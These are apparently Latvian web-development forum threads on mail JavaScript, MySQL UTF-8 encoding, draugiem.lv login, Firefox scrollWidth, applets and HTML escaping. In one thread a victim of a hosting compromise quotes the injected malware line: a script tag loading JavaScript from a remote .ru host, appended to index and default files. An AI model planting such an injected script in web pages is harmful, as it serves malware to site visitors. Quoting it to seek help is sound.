ebw

no laba praata jau pats neko taadu nedariitu.

bet nu requirements ir. kaukas jadomaa.. anchor linki jau butu labi.. bet viniem itkaa vajag pa sekcijaam,.. hmm lazhinja :)

jaa, savaa zinjaa taa tas ir..

bet kaadi veel ir risinaajumi lai uztaisiitu mailaa expand / collapse sekciju..

sveiki!

varbuut kaadam ir pieredze ar mailu suutiishanu uz Lotus Notes..

probleema taada ka nekaadi nesanaak uzdabuut lai javascripts straadaatu html mailaa kas tiek nosuutiits uz Lotus Notes..

jau ar LN mailu stiloshanu ir diezgan lielas probleemas jo vinjsh baigi specifiski attiecas pret CSS.. bet nu kaukaa apmeeram to veel var paveikt ar inline stiliem un tamlidzigam izvirtiibaam.

bet nu ar Js galigi kautkaa neiet..

vispaar settingos ir iesleegts js utt.

any ideas? tnx!

Neah, tur vair īsti neko nevar izdarīt. Man bija šī pati problēma pāris MB datubāzei ar >40 tabulām.

 

Izdomāju nelielu h4xu - uztaisīju dumpu no phpmyadmin, kur visi dati ir "sačakarētā formā" (tas ir, viņi ir nekorekti, ja ir SET NAMES UTF-8", importēju viņus savā datubāzē caur phpmyadmin, pamainīju phpmyadmin kodu, lai netiktu ieslēgts SET NAMES, eksportēju vēlreiz visus datus vienā dumpā - nu jau viņi bija korekti attēloti, un importēju orģinālājā lapā caur phpmyadmin. Tad tik saliku visās nepieciešamajās vietās SET NAMES...

buus japameegjina kas liidziigs.

izmeegjinaaju ar SET NAMES, tagad tieshaam bazee arii atteelojas garumzimes pareizi.

paldies!

vot vajag, jo tas norāda mysql'ām kādā kodējumā ir jāsūta dati.

 

Vienīgi, ja tagad izmantosi šo, tad vecie dati nebūs lietojami - garumzīmes utt sačakarēsies.

njaa.. kautkaa biju palaidis sho garaam :(

bet teiksim esošos datus ir kaada iespeeja paarkonverteet uz normaaliem?

laikam jataisa kautkads simbolu mappings un vnk jataisa replace uz normaliem.. cik saprotu

pēc konekcijas tiek izpildīts mysql_query("SET NAMES UTF-8"); ?

nee, set names nekur neizmantojas..

sveiki

gribeju pajautat par kodejumiem:

man ir mysql baaze kuraa ir tabulas ar "utf8_general_ci" kodejumu.

teiksim kad no formas (lapai ir utf-8 kodejums) tiek pievienots ieraksts baazee, kuram ir garumzīmes, skatoties caur phpmyadmin

atteelojas savaadi - piem. "palÄ«dz" nevis "palīdz"

garumzimes tiek aizvietotas ar kkadiem spec simboliem..

tachu kad no baazes tiek izvaditi dati uz webu, vinji atteelojas ar pareizajaam garumziimeem..

kas varetu but pa vainu, kapeec baazee vinji raadaas kaa kjeburi? arii kad taisa dump, pie insertiem ir ar kjeburiem nevis istajam garumzimem..

vai var kaukaa nomainiit teiksim lai vinji baazee un dumpaa atteelotos normaali?

paldies!

sveiki!

gadiijusies te taada probleema ka uz mana hostinga dazhiem domeeniem ir sachakareeti faili..

izpauzhas tas taa, ka daudziem index*.*, default*.*, main*.* failiem beigaas (aiz </html> taga) ir piekabinaajies aptuveni sekojoshs kods

<script type="text/javascript" src="http://kautkas.ru:8080/kautkas.js"></script>
<!--8469f3ebb36bebb12b39b0f9e7fe5933-->

domeni no kura scripts izsaucas ir dazhaadi.. piem. greatrow.ru, moist.ru utt.

gribeeju pajautaat vai kaads ir saskaaries ar liidziigu nelaimi?

cik lasiiju, izskataas ka diezgan modiiga lieta - vismaz aarzemees ir kas no shii liidziiga ir cietushi.

kas vareetu buut pa iemeslu un kaa tas tika paveikts?

itkaa cik lasiiju sheit

http://blog.unmaskparasites.com/2010/06/17/malware-on-hijacked-subdomains-part-2/

runa ir par pieejas zagshanu no ftp klientiem.

Tieši tā :)

ok.paldies par ideju. japamegina.

Kad ieviesu draugiem.lv pasi vienā pavecākā projektā, tad darīju sekojoši ->

1. Sākumā viss pēc dokumentācijas, nosūtam jūzeri uz draugiem.lv, gaidam atbildi, taisam requestu un savācam lietotāja datus

2. Tad pārbaudam vai konkrētais draugiem.lv lietotāja ID jau nav datubāzē

2.1. ja ir, tad apdeitojam datus

2.2. ja nav, tad ievietojam datus

3. izveidojam jaunu sesiju pēc lokālā lietotāja ID

interesants variants

savaacam no dr.lv datus un sesiju uztaisaam peec sava mehaanisma.

sveiki!

varbuut variet ieteikt kaa labaak tikt galaa ar sekojoshu lietu.

ir viens web projekts, kuram ir taada lieta kaa lietotaaju registraacija un ielogoshanaas.

notiek tas izmantojos sessijas.

BET ir arii taada lieta kaa draugiem.lv pase - kas dod iespeju autorizeeties ar draugiem.lv user/pass.

gribeetu dot iespeeju lietotaajam izmantot gan vienu gan otru iespeeju piesleegties sisteemai.

teiksim esoshaa Login forma tiek submitota uz failu teiksim "authorize.php", kur iekshaa notiek

lietotaja atrashana DB un sesijas izveidoshana (ja viss ok)..

tachu vai shajaa pashaa "authorize.php" vareetu arii kautkaa paarbaudiit arii vai taa dr.lv pase ir autorizeeta?

kaa vareetu shiis abas lietas normaali apvienot vienaa?

tnx!

kādi ir response headeri?

https://addons.mozilla.org/en-US/firefox/addon/3829

nu jaa. apskatiijos ar FireBug response headeri - tur staav content-type: text/plain.

laikam pashaa servletaa jaliek tas encodings.

open with: firefox?

nee caur URL atverot..

vieniigi veel taads aspekts ka tas html tiek atgriezts no Servleta..

shaadi: http://server.com/SomeServlet?id=123

nevis kaa: http://server.com/somepage.html

varbuut probleema vareetu buut tur, ka vinjsh takaa neredz arii *.html extensionu?

Sveiki!

Ir sekojosha situaacija:

lietojot FireFox neveras html dokuments normaali valjaa - nevis atveras dokumenta saturs, bet source kods.

html dokumentaa nekaa iipasha nav, iznemot appletu.

saakumaa domaaju ka tas deelj Content-Type, pieliku content = text/html, bet joprojaam taa pati pobleema.

IE straadaa viss normaali.

varbuut ir kaadas idejas, kur vareetu buut aakjis?

beigaas uztaisiiju taa, kad tiek izveidots neredzams DIV ar taadu width kaa inputam

.ffDiv {
overflow-x:scroll;
white-space:nowrap;
height:0;
position:absolute;
}

kuram arii vajadziigajaa momentaa tiek nolasiits tas scrollWidth.. kursh tagad tiek atgriezts pareizi.

tas taads workarounds. buutu jau feini ja Mozilla safixotu sho lietu :)

man galvenais ir uzzinaat vai ievadiitais teksts nepaarsniedz input platumu (viss teksts ir redzams - un nav aarpus inputa)..

reekjinaat peec burtu platumiem nebuutu forshi :D

variants nokopēt tekstu paslēptā divā un izmērīt tā platumu

varbuut ka izdodas. bus japamegina.

Sveiki!

Atradu ka ir taada probleema nosakot elementam scrollWidth FireFoxii.

Kods aptuveni sekojoshs.

<htm<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><title>ff problem</title>
<script>
function f() {
 elm = document.getElementById('i');
 alert(elm + '\n' +
       'offsetWidth: ' + elm.offsetWidth + '\n' +
       'scrollWidth: ' + elm.scrollWidth + '\n');
}
</script>
</head>
<body>


<input id="i" style="width:50px;" value="some long long string">
<button onClick="f();">Show</button>

</body>
</html>

IE7 vinjsh uzraada pareizu veertiibu "scrollWidth" (129), bet FF (3.5) vinjsh nemainiigi raada ka "scrollWidth" ir 50 (tikpat cik "offsetWidth").

Varbuut kaads ir sastapies ar liidziigu probleemu un var ieteikt kaadu risinaajumu - kaa piespiest FF atgriezt pareizo veertiibu?

Paldies!

Sveiki!

Ir radusies vajadziiba projektaa (tiek izmantots Java/GWT) peec taadas lietas kaa - Folder Selection.

Tas ir kaa Save file dialogs, tikai ar foldera izveeles iespeeju..

Lai ko taadu izdaritu, cik noprotu vieniigais variants ir izmantot Appletus.. jo vini var tikt klaat failu sisteemai.

Varbuut kaads ir saskaaries ar shaadu lietu un var kautko ieteikt.. baigi jau negribeetos izmantot appletus bet laikam nav alternatiivu :(

Ideja liidziiga kaa shinii skriinshotaa:

sveiki!

situaacija aptuveni taada, ka ir nepiecieshams lietot appletu (diemzheel) kas atrodas iframe.

probleema ir taada kad ir arii DIVs kam japaraadaas pa virsu (tipa modal div popups), tachu nekaadi nesanaak vinju paraadiit pa virsu tam apletam.

applets vienmeer klaajas pa virsu.. cik sapratu reaala risinaajuma shim nav (iznjemot - nelietot appletus).

bet tomeer varbuut ka kaads ir saskaaries ar sho probzu un atrisinaajis? tnx!

Papēti htmlspecialchars funkciju, domāju ka Tavā gadījumā līdzēs, izmanto viņu pie datu izvades, ievadot datubāzē atstāj parastu tekstu kāds viņš ir, neko nekodējot, izņemot eskeipošanu protams.

ok. tnx. buus japapeeta

" vai "

itkaa "

taatad man jadabuu uz " cik noprotu

sorry, ja atkārtojos, bet īsti nevaru iebraukt šajā lietā..

kā pareizi var apstrādāt tekstu, lai input laukā viņš rādītos ar pēdiņām.

teiksim ja no bāzes atnāk vērtība: SIA "Kautkas"

tad inputā viņš izskatās kā: <input type="text" name="vards" value="SIA "Kautkas""> rezultātā inputā ir tikai SIA bez tā kas pēdiņās.

paldies!

sveiki!

gribeeju pajautaat, varbuut esat saskaarushies ar sekojosho.

ir paaris lielas xsd sheemas, no kuraam vajadzeetu dabuut xml ar kautkaadiem datiem, lai peectam attieciigi vareetu vinjiem rakstiit xsl.

bet taa kaa sheemas ir ljoti lielas, reaali ar rokaam to visu izdariit ir nereaali ilgi.

varbuut varat ieteikt kaadu tooli, kas no xsd gjeneree xml ar kaukaadiem sample datiem vai ko tml.

ceru uz juusu ieteikumiem, jo pats ar sho lietu neesmu iipashi daudz kreemeejies :(

tas ir nereāli. aizmirsti

 

PS: JS = browseris = lietotājs = cilvēks

skaidrs.

zheel. jadomaa kas cits.